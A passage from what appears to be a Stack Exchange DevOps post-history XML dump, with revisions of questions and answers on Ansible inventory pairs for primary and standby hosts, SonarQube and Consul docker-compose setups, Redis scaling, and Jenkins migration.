&#xD;&#xA;    [primary]&#xD;&#xA;    192.168.107.69&#xD;&#xA;    [standby]&#xD;&#xA;    192.168.107.70&#xD;&#xA;&#xD;&#xA;i think that i should edit this file every time i want to run my playbook. so is it possible to have so many pairs of IPs?  &#xD;&#xA;for example something like this:  &#xD;&#xA;&#xD;&#xA;    primary:1.1.1.1,standby:1.1.1.2&#xD;&#xA;    primary:1.1.1.3,standby:1.1.1.4&#xD;&#xA;    primary:1.1.1.5,standby:1.1.1.6  &#xD;&#xA;&#xD;&#xA;or can i assign each pair the variable i want instead of writing it in my command every time? like:  &#xD;&#xA;     &#xD;&#xA;    primary:1.1.1.1,standby:1.1.1.2,host:test1&#xD;&#xA;    primary:1.1.1.3,standby:1.1.1.4,host:test2  &#xD;&#xA;&#xD;&#xA;i searched a lot but i could't find anything and i'm new to ansible. any suggestions? " ContentLicense="CC BY-SA 4.0" />
  <row Id="26648" PostHistoryTypeId="1" PostId="9075" RevisionGUID="de1d3cc3-8d7a-4888-b1ae-b3035f2fbb86" CreationDate="2019-09-03T04:09:38.837" UserId="14770" Text="is it possible to have pair of IPs in Ansible?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26649" PostHistoryTypeId="3" PostId="9075" RevisionGUID="de1d3cc3-8d7a-4888-b1ae-b3035f2fbb86" CreationDate="2019-09-03T04:09:38.837" UserId="14770" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26650" PostHistoryTypeId="2" PostId="9076" RevisionGUID="5cc91fc4-8929-4a47-8f70-3cce0c4ca4c8" CreationDate="2019-09-03T05:01:54.983" UserId="7715" Text="It might be useful to create groups in the inventory with all pieces of information.&#xD;&#xA;&#xD;&#xA;    [primary]&#xD;&#xA;    1.1.1.1&#xD;&#xA;    1.1.1.3&#xD;&#xA;    1.1.1.5&#xD;&#xA;    &#xD;&#xA;    [standby]&#xD;&#xA;    1.1.1.2&#xD;&#xA;    1.1.1.4&#xD;&#xA;    1.1.1.6&#xD;&#xA;&#xD;&#xA;    [ha]&#xD;&#xA;    1.1.1.1 stdby=1.1.1.2&#xD;&#xA;    1.1.1.3 stdby=1.1.1.4&#xD;&#xA;    1.1.1.5 stdby=1.1.1.6&#xD;&#xA;&#xD;&#xA;It's possible to simplify the fetching of the configuration.&#xD;&#xA;&#xD;&#xA;    - hosts: primary, standby&#xD;&#xA;      remote_user: root&#xD;&#xA;      tasks:&#xD;&#xA;      - name: copy the config to local&#xD;&#xA;        fetch:&#xD;&#xA;          src: /data1/cronjobs/gen_ddl&#xD;&#xA;          dest: /AnsibleDir/conf&#xD;&#xA;&#xD;&#xA;Without `flat: yes` the configuration files will be stored in&#xD;&#xA;&#xD;&#xA;    /AnsibleDir/conf/{{ inventory_hostname }}/data1/cronjobs/gen_ddl&#xD;&#xA;&#xD;&#xA;Then it's possible to reference the configuration files by the inventory hostname. For example `groups['primary']` (`secondary` the same way). Take a look at `myshell_output` and select the data for `content` and `dest` from the `items`&#xD;&#xA;&#xD;&#xA;    - hosts: 127.0.0.1&#xD;&#xA;      connection: local&#xD;&#xA;      remote_user: root&#xD;&#xA;      tasks:&#xD;&#xA;      - name: loop primary config&#xD;&#xA;        command: &quot;/AnsibleDir/driver.py&#xD;&#xA;                  /AnsibleDir/conf/{{ item }}/data1/cronjobs/gen_ddl&quot;&#xD;&#xA;        register: myshell_output&#xD;&#xA;        loop: &quot;{{ groups['primary'] }}&quot;&#xD;&#xA;      - name: copy the output to a local file&#xD;&#xA;        copy:&#xD;&#xA;          content: &quot;{{ &lt;SELECT-FROM-ITEM&gt; }}&quot;&#xD;&#xA;          dest: &quot;/AnsibleDir/output.{{ &lt;SELECT-FROM-ITEM&gt; }}&quot;&#xD;&#xA;        loop: &quot;{{ myshell_output.results }}&quot;&#xD;&#xA;&#xD;&#xA;To reference primary/standby pairs use&#xD;&#xA;&#xD;&#xA;    - hosts: ha&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26651" PostHistoryTypeId="5" PostId="9075" RevisionGUID="e504d019-7625-4297-abf1-869640c61361" CreationDate="2019-09-03T05:20:06.370" UserId="14770" Comment="deleted 1 character in body" Text="i have so many HA machines that one of them is primary and the other is standby.i have this playbook that copies a config file from primary and then from standby on local machine then use those files as input for a python script:  &#xD;&#xA;&#xD;&#xA;    - hosts: primary&#xD;&#xA;      remote_user: root&#xD;&#xA;      tasks:&#xD;&#xA;      - name: copy the config of primary to local&#xD;&#xA;        fetch:&#xD;&#xA;          src: /data1/cronjobs/gen_ddl&#xD;&#xA;          dest: /AnsibleDir/primary&#xD;&#xA;          flat: yes&#xD;&#xA;    - hosts: standby&#xD;&#xA;      remote_user: root&#xD;&#xA;      tasks:&#xD;&#xA;      - name: copy the config of standby to local&#xD;&#xA;        fetch:&#xD;&#xA;          src: /data1/cronjobs/gen_ddl&#xD;&#xA;          dest: /AnsibleDir/standby&#xD;&#xA;          flat: yes&#xD;&#xA;    - hosts: 127.0.0.1&#xD;&#xA;      connection: local&#xD;&#xA;      remote_user: root&#xD;&#xA;      tasks:&#xD;&#xA;      - name: run python script&#xD;&#xA;        shell: /AnsibleDir/driver.py&#xD;&#xA;        register: myshell_output&#xD;&#xA;      - name: copy the output to a local file&#xD;&#xA;        copy:&#xD;&#xA;          content: &quot;{{ myshell_output.stdout }}&quot;&#xD;&#xA;          dest: &quot;/AnsibleDir/output.{{ host }}&quot;  &#xD;&#xA;&#xD;&#xA;and i use this command:  &#xD;&#xA;`ansible-playbook -i /Ansible/hostfile /Ansible/python.yml --extra-vars &quot;host=test1&quot;`  &#xD;&#xA;&#xD;&#xA;in `hostfile` i have this configuration:  &#xD;&#xA;     &#xD;&#xA;    [primary]&#xD;&#xA;    192.168.107.69&#xD;&#xA;    [standby]&#xD;&#xA;    192.168.107.70&#xD;&#xA;&#xD;&#xA;i think that i should edit this file every time i want to run my playbook. so is it possible to have so many pairs of IPs?  &#xD;&#xA;for example something like this:  &#xD;&#xA;&#xD;&#xA;    primary:1.1.1.1,standby:1.1.1.2&#xD;&#xA;    primary:1.1.1.3,standby:1.1.1.4&#xD;&#xA;    primary:1.1.1.5,standby:1.1.1.6  &#xD;&#xA;&#xD;&#xA;or can i assign each pair the variable i want instead of writing it in my command every time? like:  &#xD;&#xA;     &#xD;&#xA;    primary:1.1.1.1,standby:1.1.1.2,host:test1&#xD;&#xA;    primary:1.1.1.3,standby:1.1.1.4,host:test2  &#xD;&#xA;&#xD;&#xA;i searched a lot but i could't find anything and i'm new to ansible. any suggestions? " ContentLicense="CC BY-SA 4.0" />
  <row Id="26652" PostHistoryTypeId="5" PostId="9076" RevisionGUID="d08b6fe1-94aa-4095-9762-fd992a675d20" CreationDate="2019-09-03T06:07:54.247" UserId="7715" Comment="added 584 characters in body" Text="It might be useful to create groups in the inventory with all pieces of information.&#xD;&#xA;&#xD;&#xA;    [primary]&#xD;&#xA;    1.1.1.1&#xD;&#xA;    1.1.1.3&#xD;&#xA;    1.1.1.5&#xD;&#xA;    &#xD;&#xA;    [standby]&#xD;&#xA;    1.1.1.2&#xD;&#xA;    1.1.1.4&#xD;&#xA;    1.1.1.6&#xD;&#xA;&#xD;&#xA;    [ha]&#xD;&#xA;    1.1.1.1 stdby=1.1.1.2&#xD;&#xA;    1.1.1.3 stdby=1.1.1.4&#xD;&#xA;    1.1.1.5 stdby=1.1.1.6&#xD;&#xA;&#xD;&#xA;It's possible to simplify the fetching of the configuration.&#xD;&#xA;&#xD;&#xA;    - hosts: primary, standby&#xD;&#xA;      remote_user: root&#xD;&#xA;      tasks:&#xD;&#xA;      - name: copy the config to local&#xD;&#xA;        fetch:&#xD;&#xA;          src: /data1/cronjobs/gen_ddl&#xD;&#xA;          dest: /AnsibleDir/conf&#xD;&#xA;&#xD;&#xA;Without `flat: yes` the configuration files will be stored in&#xD;&#xA;&#xD;&#xA;    /AnsibleDir/conf/{{ inventory_hostname }}/data1/cronjobs/gen_ddl&#xD;&#xA;&#xD;&#xA;Then it's possible to reference the configuration files by the inventory hostname. For example `groups['primary']` (`secondary` the same way). Take a look at `myshell_output` and select the data for `content` and `dest` from the `items`&#xD;&#xA;&#xD;&#xA;    - hosts: 127.0.0.1&#xD;&#xA;      connection: local&#xD;&#xA;      remote_user: root&#xD;&#xA;      tasks:&#xD;&#xA;      - name: loop primary config&#xD;&#xA;        command: &quot;/AnsibleDir/driver.py&#xD;&#xA;                  /AnsibleDir/conf/{{ item }}/data1/cronjobs/gen_ddl&quot;&#xD;&#xA;        register: myshell_output&#xD;&#xA;        loop: &quot;{{ groups['primary'] }}&quot;&#xD;&#xA;      - name: copy the output to a local file&#xD;&#xA;        copy:&#xD;&#xA;          content: &quot;{{ &lt;SELECT-FROM-ITEM&gt; }}&quot;&#xD;&#xA;          dest: &quot;/AnsibleDir/output.{{ &lt;SELECT-FROM-ITEM&gt; }}&quot;&#xD;&#xA;        loop: &quot;{{ myshell_output.results }}&quot;&#xD;&#xA;&#xD;&#xA;To reference primary/standby pairs use group `ha`. For example the play below changes the configuration both at primary and standby for all hosts in `ha`.&#xD;&#xA;&#xD;&#xA;    - hosts: ha&#xD;&#xA;      tasks:&#xD;&#xA;        - name: Change configuration at primary&#xD;&#xA;          lineinfile:&#xD;&#xA;            path: /AnsibleDir/conf/{{ inventory_hostname }}/data1/cronjobs/gen_dd&#xD;&#xA;            regexp: &lt;ADD-REGEXP&gt;&#xD;&#xA;            line: &lt;ADD-LINE&gt;&#xD;&#xA;        - name: Change configuration at standby&#xD;&#xA;          lineinfile:&#xD;&#xA;            path: /AnsibleDir/conf/{{ hostvars[inventory_hostname].stdby }}/data1/cronjobs/gen_dd&#xD;&#xA;            regexp: &lt;ADD-REGEXP&gt;&#xD;&#xA;            line: &lt;ADD-LINE&gt;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26653" PostHistoryTypeId="5" PostId="9076" RevisionGUID="477eb9c0-826d-43ab-a7f3-720882577112" CreationDate="2019-09-03T06:38:47.740" UserId="7715" Comment="added 544 characters in body" Text="It might be useful to create groups in the inventory with all pieces of information.&#xD;&#xA;&#xD;&#xA;    [primary]&#xD;&#xA;    1.1.1.1&#xD;&#xA;    1.1.1.3&#xD;&#xA;    1.1.1.5&#xD;&#xA;    &#xD;&#xA;    [standby]&#xD;&#xA;    1.1.1.2&#xD;&#xA;    1.1.1.4&#xD;&#xA;    1.1.1.6&#xD;&#xA;&#xD;&#xA;    [ha]&#xD;&#xA;    1.1.1.1 stdby=1.1.1.2&#xD;&#xA;    1.1.1.3 stdby=1.1.1.4&#xD;&#xA;    1.1.1.5 stdby=1.1.1.6&#xD;&#xA;&#xD;&#xA;It's possible to simplify the fetching of the configuration.&#xD;&#xA;&#xD;&#xA;    - hosts: primary, standby&#xD;&#xA;      remote_user: root&#xD;&#xA;      tasks:&#xD;&#xA;      - name: copy the config to local&#xD;&#xA;        fetch:&#xD;&#xA;          src: /data1/cronjobs/gen_ddl&#xD;&#xA;          dest: /AnsibleDir/conf&#xD;&#xA;&#xD;&#xA;Without `flat: yes` the configuration files will be stored in&#xD;&#xA;&#xD;&#xA;    /AnsibleDir/conf/{{ inventory_hostname }}/data1/cronjobs/gen_ddl&#xD;&#xA;&#xD;&#xA;Then it's possible to reference the configuration files by the inventory hostname. For example `groups['primary']` (`secondary` the same way). Take a look at `myshell_output` and select the data for `content` and `dest` from the `items`&#xD;&#xA;&#xD;&#xA;    - hosts: 127.0.0.1&#xD;&#xA;      connection: local&#xD;&#xA;      remote_user: root&#xD;&#xA;      tasks:&#xD;&#xA;      - name: loop primary config&#xD;&#xA;        command: &quot;/AnsibleDir/driver.py&#xD;&#xA;                  /AnsibleDir/conf/{{ item }}/data1/cronjobs/gen_ddl&quot;&#xD;&#xA;        register: myshell_output&#xD;&#xA;        loop: &quot;{{ groups['primary'] }}&quot;&#xD;&#xA;      - name: copy the output to a local file&#xD;&#xA;        copy:&#xD;&#xA;          content: &quot;{{ &lt;SELECT-FROM-ITEM&gt; }}&quot;&#xD;&#xA;          dest: &quot;/AnsibleDir/output.{{ &lt;SELECT-FROM-ITEM&gt; }}&quot;&#xD;&#xA;        loop: &quot;{{ myshell_output.results }}&quot;&#xD;&#xA;&#xD;&#xA;To reference primary/standby pairs use group `ha`. For example the play below changes the configuration both at primary and standby for all hosts in `ha`.&#xD;&#xA;&#xD;&#xA;    - hosts: ha&#xD;&#xA;      tasks:&#xD;&#xA;        - name: Change configuration at primary&#xD;&#xA;          lineinfile:&#xD;&#xA;            path: /AnsibleDir/conf/{{ inventory_hostname }}/data1/cronjobs/gen_dd&#xD;&#xA;            regexp: &lt;ADD-REGEXP&gt;&#xD;&#xA;            line: &lt;ADD-LINE&gt;&#xD;&#xA;        - name: Change configuration at standby&#xD;&#xA;          lineinfile:&#xD;&#xA;            path: /AnsibleDir/conf/{{ hostvars[inventory_hostname].stdby }}/data1/cronjobs/gen_dd&#xD;&#xA;            regexp: &lt;ADD-REGEXP&gt;&#xD;&#xA;            line: &lt;ADD-LINE&gt;&#xD;&#xA;&#xD;&#xA;&gt;Q: *I need to find the differences of configuration files in 2 machines. they need to be the same. In python script, it will find the differences and fix them. So I need to have both configurations on my local then run the python script for them.*&#xD;&#xA;&#xD;&#xA;A: Fix the configuration files in 2 machines&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    - hosts: ha&#xD;&#xA;      tasks:&#xD;&#xA;        - name: Fix primary and standby config&#xD;&#xA;          command: &quot;/AnsibleDir/driver.py&#xD;&#xA;                    /AnsibleDir/conf/{{ inventory_hostname }}/data1/cronjobs/gen_ddl&#xD;&#xA;                    /AnsibleDir/conf/{{ hostvars[inventory_hostname].stdby }}/data1/cronjobs/gen_ddl&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26654" PostHistoryTypeId="5" PostId="9076" RevisionGUID="c4ef6b70-4e25-4aa6-b58a-a0d98cb017f5" CreationDate="2019-09-03T06:45:27.597" UserId="7715" Comment="added 95 characters in body" Text="&gt;Q: *Is it possible to have a pair of IPs in Ansible?*&#xD;&#xA;&#xD;&#xA;A: Yes. It is possible. For example, it might be useful to create groups in the inventory with all pieces of information.&#xD;&#xA;&#xD;&#xA;    [primary]&#xD;&#xA;    1.1.1.1&#xD;&#xA;    1.1.1.3&#xD;&#xA;    1.1.1.5&#xD;&#xA;    &#xD;&#xA;    [standby]&#xD;&#xA;    1.1.1.2&#xD;&#xA;    1.1.1.4&#xD;&#xA;    1.1.1.6&#xD;&#xA;&#xD;&#xA;    [ha]&#xD;&#xA;    1.1.1.1 stdby=1.1.1.2&#xD;&#xA;    1.1.1.3 stdby=1.1.1.4&#xD;&#xA;    1.1.1.5 stdby=1.1.1.6&#xD;&#xA;&#xD;&#xA;It's possible to simplify the fetching of the configuration.&#xD;&#xA;&#xD;&#xA;    - hosts: primary, standby&#xD;&#xA;      remote_user: root&#xD;&#xA;      tasks:&#xD;&#xA;      - name: copy the config to local&#xD;&#xA;        fetch:&#xD;&#xA;          src: /data1/cronjobs/gen_ddl&#xD;&#xA;          dest: /AnsibleDir/conf&#xD;&#xA;&#xD;&#xA;Without `flat: yes` the configuration files will be stored in&#xD;&#xA;&#xD;&#xA;    /AnsibleDir/conf/{{ inventory_hostname }}/data1/cronjobs/gen_ddl&#xD;&#xA;&#xD;&#xA;Then it's possible to reference the configuration files by the inventory hostname. For example `groups['primary']` (`secondary` the same way). Take a look at `myshell_output` and select the data for `content` and `dest` from the `items`&#xD;&#xA;&#xD;&#xA;    - hosts: 127.0.0.1&#xD;&#xA;      connection: local&#xD;&#xA;      remote_user: root&#xD;&#xA;      tasks:&#xD;&#xA;      - name: loop primary config&#xD;&#xA;        command: &quot;/AnsibleDir/driver.py&#xD;&#xA;                  /AnsibleDir/conf/{{ item }}/data1/cronjobs/gen_ddl&quot;&#xD;&#xA;        register: myshell_output&#xD;&#xA;        loop: &quot;{{ groups['primary'] }}&quot;&#xD;&#xA;      - name: copy the output to a local file&#xD;&#xA;        copy:&#xD;&#xA;          content: &quot;{{ &lt;SELECT-FROM-ITEM&gt; }}&quot;&#xD;&#xA;          dest: &quot;/AnsibleDir/output.{{ &lt;SELECT-FROM-ITEM&gt; }}&quot;&#xD;&#xA;        loop: &quot;{{ myshell_output.results }}&quot;&#xD;&#xA;&#xD;&#xA;To reference primary/standby pairs use group `ha`. For example the play below changes the configuration both at primary and standby for all hosts in `ha`.&#xD;&#xA;&#xD;&#xA;    - hosts: ha&#xD;&#xA;      tasks:&#xD;&#xA;        - name: Change configuration at primary&#xD;&#xA;          lineinfile:&#xD;&#xA;            path: /AnsibleDir/conf/{{ inventory_hostname }}/data1/cronjobs/gen_dd&#xD;&#xA;            regexp: &lt;ADD-REGEXP&gt;&#xD;&#xA;            line: &lt;ADD-LINE&gt;&#xD;&#xA;        - name: Change configuration at standby&#xD;&#xA;          lineinfile:&#xD;&#xA;            path: /AnsibleDir/conf/{{ hostvars[inventory_hostname].stdby }}/data1/cronjobs/gen_dd&#xD;&#xA;            regexp: &lt;ADD-REGEXP&gt;&#xD;&#xA;            line: &lt;ADD-LINE&gt;&#xD;&#xA;&#xD;&#xA;&gt;Q: *I need to find the differences of configuration files in 2 machines. they need to be the same. In python script, it will find the differences and fix them. So I need to have both configurations on my local then run the python script for them.*&#xD;&#xA;&#xD;&#xA;A: Fix the configuration files in 2 machines&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    - hosts: ha&#xD;&#xA;      tasks:&#xD;&#xA;        - name: Fix primary and standby config&#xD;&#xA;          command: &quot;/AnsibleDir/driver.py&#xD;&#xA;                    /AnsibleDir/conf/{{ inventory_hostname }}/data1/cronjobs/gen_ddl&#xD;&#xA;                    /AnsibleDir/conf/{{ hostvars[inventory_hostname].stdby }}/data1/cronjobs/gen_ddl&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26655" PostHistoryTypeId="5" PostId="4106" RevisionGUID="7d2d6a35-e909-4c7e-a77d-ab87a951753b" CreationDate="2019-09-03T06:46:20.360" UserId="3427" Comment="deleted 79 characters in body" Text="**This Question has been answered on [Stackoverflow][1] too.**&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;I have a Sonarqube instance running as a docker container. Since I updated it to version 7.1 the analysis of my greatest project fails with `GC limit exceeded`. If I restart the server, it might succeed once. After a while of researching this issue, I am tempted to believe, I need to increase the `Xmx` value for the background task.&#xD;&#xA;&#xD;&#xA;Where and how can I configure this parameter?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**docker-compose.yml**&#xD;&#xA;&#xD;&#xA;    version: &quot;2&quot;&#xD;&#xA;    services:&#xD;&#xA;&#xD;&#xA;      postgres:&#xD;&#xA;        image: postgres:9-alpine&#xD;&#xA;        container_name: postgres&#xD;&#xA;        restart: always&#xD;&#xA;        volumes:&#xD;&#xA;          - /opt/docker-postgres/etc:/etc/postgresql&#xD;&#xA;          - /opt/docker-postgres/log:/var/log/postgresql&#xD;&#xA;          - /opt/docker-postgres/data:/var/lib/postgresql/data&#xD;&#xA;        environment:&#xD;&#xA;          POSTGRES_DB: sonar&#xD;&#xA;          POSTGRES_USER: &lt;SONAR_USER&gt;&#xD;&#xA;          POSTGRES_PASSWORD: &lt;SONAR_PASSWORD&gt;&#xD;&#xA;&#xD;&#xA;      sonar:&#xD;&#xA;        image: sonarqube:alpine&#xD;&#xA;        container_name: sonar&#xD;&#xA;        restart: always&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;9000:9000&quot;&#xD;&#xA;          - &quot;9092:9092&quot;&#xD;&#xA;        environment:&#xD;&#xA;          SONARQUBE_JDBC_USERNAME: &lt;SONAR_USER&gt;&#xD;&#xA;          SONARQUBE_JDBC_PASSWORD: &lt;SONAR_PASSWORD&gt;&#xD;&#xA;          SONARQUBE_JDBC_URL: jdbc:postgresql://postgres/sonar&#xD;&#xA;        volumes:&#xD;&#xA;          - /opt/docker-sonar/conf:/opt/sonarqube/conf&#xD;&#xA;          - /opt/docker-sonar/data:/opt/sonarqube/data&#xD;&#xA;          - /opt/docker-sonar/extensions:/opt/sonarqube/extensions&#xD;&#xA;          - /opt/docker-sonar/bundled-plugins:/opt/sonarqube/lib/bundled-plugins&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/a/50366800/1374536" ContentLicense="CC BY-SA 4.0" />
  <row Id="26656" PostHistoryTypeId="2" PostId="9077" RevisionGUID="0e2963c7-d124-492c-a26d-58d0eda652bd" CreationDate="2019-09-03T07:18:06.623" UserId="11634" Text="I guess, the main purpose of a cluster is failure tolerance. However, when I start the following consul cluster, in docker, it is not the case and I don't understand why. &#xD;&#xA;&#xD;&#xA;version: &quot;3.5&quot;&#xD;&#xA;&#xD;&#xA;    services:&#xD;&#xA;    &#xD;&#xA;      # docker network create --driver=bridge discovery-network&#xD;&#xA;    &#xD;&#xA;      # SERVICE DISCOVERY&#xD;&#xA;      consul-server-0:&#xD;&#xA;    	image: consul:1.6.0&#xD;&#xA;    	container_name: consul-server-0&#xD;&#xA;    	command: &quot;agent -server -bootstrap-expect 2 -client 0.0.0.0 -datacenter datacenter-1 -node consul-server-0&quot;&#xD;&#xA;    	networks:&#xD;&#xA;    	  - discovery-network&#xD;&#xA;    &#xD;&#xA;      consul-server-1:&#xD;&#xA;    	image: consul:1.6.0&#xD;&#xA;    	container_name: consul-server-1&#xD;&#xA;    	command: &quot;agent -server -retry-join consul-server-0 -client 0.0.0.0 -datacenter datacenter-1  -node consul-server-1&quot;&#xD;&#xA;    	networks:&#xD;&#xA;    	  - discovery-network&#xD;&#xA;    	depends_on:&#xD;&#xA;    	  - consul-server-0&#xD;&#xA;    &#xD;&#xA;      consul-client-1:&#xD;&#xA;    	image: consul:1.6.0&#xD;&#xA;    	container_name: consul-client-1&#xD;&#xA;    	command: &quot;agent -retry-join consul-server-0 -ui -client 0.0.0.0  -datacenter datacenter-1  -node consul-client-1&quot;&#xD;&#xA;    	ports:&#xD;&#xA;    	  - &quot;8500:8500&quot; # GUI&#xD;&#xA;    	networks:&#xD;&#xA;    	  - discovery-network&#xD;&#xA;    	depends_on:&#xD;&#xA;    	  - consul-server-0&#xD;&#xA;    &#xD;&#xA;    networks:&#xD;&#xA;      discovery-network:&#xD;&#xA;        external:true&#xD;&#xA;&#xD;&#xA;When I stop one of servers, the cluster does not work anymore. I am unable to register anymore service (through consul-client).&#xD;&#xA; &#xD;&#xA;In the remaining server's logs, I can see the message ```Failed to make RequestVote RPC```&#xD;&#xA;In the client's logs, I can see the message ```No cluster leader```&#xD;&#xA;&#xD;&#xA;What is wrong with my configuration? &#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26657" PostHistoryTypeId="1" PostId="9077" RevisionGUID="0e2963c7-d124-492c-a26d-58d0eda652bd" CreationDate="2019-09-03T07:18:06.623" UserId="11634" Text="Consul cluster does not work as expected when one of server is down" ContentLicense="CC BY-SA 4.0" />
  <row Id="26658" PostHistoryTypeId="3" PostId="9077" RevisionGUID="0e2963c7-d124-492c-a26d-58d0eda652bd" CreationDate="2019-09-03T07:18:06.623" UserId="11634" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;consul&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26659" PostHistoryTypeId="2" PostId="9078" RevisionGUID="413ec9c9-ad58-488e-8410-84e75de64f24" CreationDate="2019-09-03T07:23:47.630" UserId="4997" Text="# Background&#xD;&#xA;&#xD;&#xA;last week we had a major outage, we identified the bottle neck to be redis number of connections:&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA; Our quick fix was to scale redis from cache.m4.4xlarge to chache.m4.10xlarge (vertical scaling)&#xD;&#xA;&#xD;&#xA;However this scaling is quite expensive:&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;we would like to scale horizontally:&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;Unfortuantely, the application code we are using now only allows us to either create a redis cluster with multiple shards, or using a single shard with multiple replicas (see discussion [here][4]). &#xD;&#xA;&#xD;&#xA;# Question&#xD;&#xA;considering that our bottle neck is the connection limit, would it be getter to scale by clustering and increasing the shard number, or by having a single shard and replicating it?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/lig1O.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/jLqDW.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/ieKvp.png&#xD;&#xA;  [4]: https://stackoverflow.com/questions/57761328/how-to-create-a-predis-client-that-does-both-clustering-and-replicatio" ContentLicense="CC BY-SA 4.0" />
  <row Id="26660" PostHistoryTypeId="1" PostId="9078" RevisionGUID="413ec9c9-ad58-488e-8410-84e75de64f24" CreationDate="2019-09-03T07:23:47.630" UserId="4997" Text="if the bottle neck is the number of connections, is it better to scale redis by sharding or by replication?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26661" PostHistoryTypeId="3" PostId="9078" RevisionGUID="413ec9c9-ad58-488e-8410-84e75de64f24" CreationDate="2019-09-03T07:23:47.630" UserId="4997" Text="&lt;redis&gt;&lt;cache&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26662" PostHistoryTypeId="5" PostId="9077" RevisionGUID="7a96a799-dc34-41c0-9645-94484e7ba55d" CreationDate="2019-09-03T07:29:45.393" UserId="11634" Comment="deleted 18 characters in body" Text="I guess, the main purpose of a cluster is failure tolerance. However, when I start the following consul cluster, in docker, it is not the case and I don't understand why. &#xD;&#xA;&#xD;&#xA;    services:&#xD;&#xA;    &#xD;&#xA;      # docker network create --driver=bridge discovery-network&#xD;&#xA;    &#xD;&#xA;      # SERVICE DISCOVERY&#xD;&#xA;      consul-server-0:&#xD;&#xA;    	image: consul:1.6.0&#xD;&#xA;    	container_name: consul-server-0&#xD;&#xA;    	command: &quot;agent -server -bootstrap-expect 2 -client 0.0.0.0 -datacenter datacenter-1 -node consul-server-0&quot;&#xD;&#xA;    	networks:&#xD;&#xA;    	  - discovery-network&#xD;&#xA;    &#xD;&#xA;      consul-server-1:&#xD;&#xA;    	image: consul:1.6.0&#xD;&#xA;    	container_name: consul-server-1&#xD;&#xA;    	command: &quot;agent -server -retry-join consul-server-0 -client 0.0.0.0 -datacenter datacenter-1  -node consul-server-1&quot;&#xD;&#xA;    	networks:&#xD;&#xA;    	  - discovery-network&#xD;&#xA;    	depends_on:&#xD;&#xA;    	  - consul-server-0&#xD;&#xA;    &#xD;&#xA;      consul-client-1:&#xD;&#xA;    	image: consul:1.6.0&#xD;&#xA;    	container_name: consul-client-1&#xD;&#xA;    	command: &quot;agent -retry-join consul-server-0 -ui -client 0.0.0.0  -datacenter datacenter-1  -node consul-client-1&quot;&#xD;&#xA;    	ports:&#xD;&#xA;    	  - &quot;8500:8500&quot; # GUI&#xD;&#xA;    	networks:&#xD;&#xA;    	  - discovery-network&#xD;&#xA;    	depends_on:&#xD;&#xA;    	  - consul-server-0&#xD;&#xA;    &#xD;&#xA;    networks:&#xD;&#xA;      discovery-network:&#xD;&#xA;        external:true&#xD;&#xA;&#xD;&#xA;When I stop one of servers, the cluster does not work anymore. I am unable to register anymore service (through consul-client).&#xD;&#xA; &#xD;&#xA;In the remaining server's logs, I can see the message ```Failed to make RequestVote RPC```&#xD;&#xA;In the client's logs, I can see the message ```No cluster leader```&#xD;&#xA;&#xD;&#xA;What is wrong with my configuration? &#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26663" PostHistoryTypeId="10" PostId="9061" RevisionGUID="e4e51cb5-7db5-4d32-b71e-0a825e63e538" CreationDate="2019-09-03T07:31:18.183" UserId="13" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="26664" PostHistoryTypeId="2" PostId="9079" RevisionGUID="d6b541ce-45cf-4bfb-8264-bc88eec86994" CreationDate="2019-09-03T08:01:37.207" UserId="16879" Text="I needed to migrate a Jenkins from one Windows Server instance to another. Finally I managed to do it like that:&#xD;&#xA;&#xD;&#xA; * Stop the Jenkins service (if you can afford it)&#xD;&#xA; * Copy the entire Jenkins folder (by default `C:\Program Files x86\Jenkins`)&#xD;&#xA; * Paste onto the new instance&#xD;&#xA; * Go inside the directory and run `jenkins.exe install`&#xD;&#xA;&#xD;&#xA;This will register the freshly pasted Jenkins as a service on the new machine and will work 100% the same.&#xD;&#xA;&#xD;&#xA;If this works then if you need a backup just for future safety, copy the Jenkins folder somewhere. It will work like a snapshot." ContentLicense="CC BY-SA 4.0" />
  <row Id="26665" PostHistoryTypeId="50" PostId="8047" RevisionGUID="99cd78e6-ddce-4a05-817f-5f7745d5fd77" CreationDate="2019-09-03T09:02:25.313" UserId="-1" />
  <row Id="26666" PostHistoryTypeId="34" PostId="8970" RevisionGUID="9fc470a7-5f28-4264-be3a-32c3eb37a22a" CreationDate="2019-09-03T10:28:33.367" UserId="10356" Comment="40" />
  <row Id="26667" PostHistoryTypeId="4" PostId="2422" RevisionGUID="5c70a612-de88-43a0-84af-8dea303e0f40" CreationDate="2019-09-03T10:32:43.490" UserId="210" Comment="edited title" Text="Why does the Jenkins bitbucket-build-status-notifier-plugin post the status to the shared pipeline library repository?" ContentLicense="CC BY-SA 4.0" />
